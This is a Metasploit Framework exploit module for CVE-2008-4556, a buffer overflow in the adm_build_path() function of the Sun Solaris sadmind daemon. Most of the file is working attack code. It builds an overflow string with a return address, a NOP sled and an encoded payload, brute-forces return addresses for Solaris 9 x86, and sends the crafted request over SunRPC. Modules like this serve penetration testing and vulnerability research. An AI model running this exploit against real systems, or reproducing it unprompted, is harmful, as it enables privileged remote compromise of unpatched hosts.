## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::SunRPC include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability in adm_build_path() function of sadmind daemon. The distributed system administration daemon (sadmind) is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received. The sadmind daemon process continues to run for 15 minutes after the last request is completed, unless a different idle-time is specified with the -i command line option. The sadmind daemon may be started independently from the command line, for example, at system boot time. In this case, the -i option has no effect; sadmind continues to run, even if there are no active requests. }, 'Author' => [ 'Adriano Lima ', 'ramon', ], 'Version' => '$Revision$', 'Arch' => ARCH_X86, 'Platform' => 'solaris', 'References' => [ ['CVE', '2008-4556'], ['OSVDB', '49111'], ['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Targets' => [ [ 'Sun Solaris 9 x86 Brute Force', { 'Arch' => [ ARCH_X86 ], 'Platform' => 'solaris', 'Nops' => 1024 * 32, 'Bruteforce' => { 'Start' => { 'Ret' => 0x08062030 }, 'Stop' => { 'Ret' => 0x08072030 }, 'Step' => 1024 * 30, } } ], [ 'Sun Solaris 9 x86', { 'Nops' => 1024 * 4, 'Bruteforce' => { 'Start' => { 'Ret' => 0x08066a60 + 2048 }, 'Stop' => { 'Ret' => 0x08066a60 + 2048 }, 'Step' => 1, } } ], [ 'Debug', { 'Nops' => 1024 * 4, 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, 'Stop' => { 'Ret' => 0xaabbccdd }, 'Step' => 1, } } ], ], 'DefaultTarget' => 0 )) end def brute_exploit(brute_target) sunrpc_create('udp', 100232, 10) unless @nops print_status('Creating nop block...') if target['Nops'] > 0 @nops = make_nops(target['Nops']) else @nops = '' end end print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret']) hostname = 'localhost' # buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L') buf1 = "A" * 1017 + [brute_target['Ret']].pack('L') buf2 = @nops + payload.encoded header = XDR.encode(0) * 7 + XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \ 4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \ hostname, 'system', rand_text_alpha(16)) body = do_int('ADM_FW_VERSION', 1) + do_string('ADM_LANG', 'C') + do_string('ADM_REQUESTID', '00009:000000000:0') + do_string('ADM_CLASS', 'system') + do_string('ADM_CLASS_VERS', '2.1') + do_string('ADM_METHOD', buf1) + do_string('ADM_HOST', hostname) + do_string('ADM_CLIENT_HOST', hostname) + do_string('ADM_CLIENT_DOMAIN', '') + do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') + do_int('ADM_FENCE', 0) + do_string('X', buf2) + XDR.encode('netmgt_endofargs') request = header + XDR.encode(header.length + body.length - 326) + body begin # two seconds timeout for brute force sunrpc_call(1, request, 2) rescue Rex::Proto::SunRPC::RPCTimeout print_good('Server did not respond, this is expected') end sunrpc_destroy handler end def do_string(str1, str2) XDR.encode(str1, 9, str2.length + 1, str2, 0, 0) end def do_int(str, int) XDR.encode(str, 3, 4, int, 0, 0) end end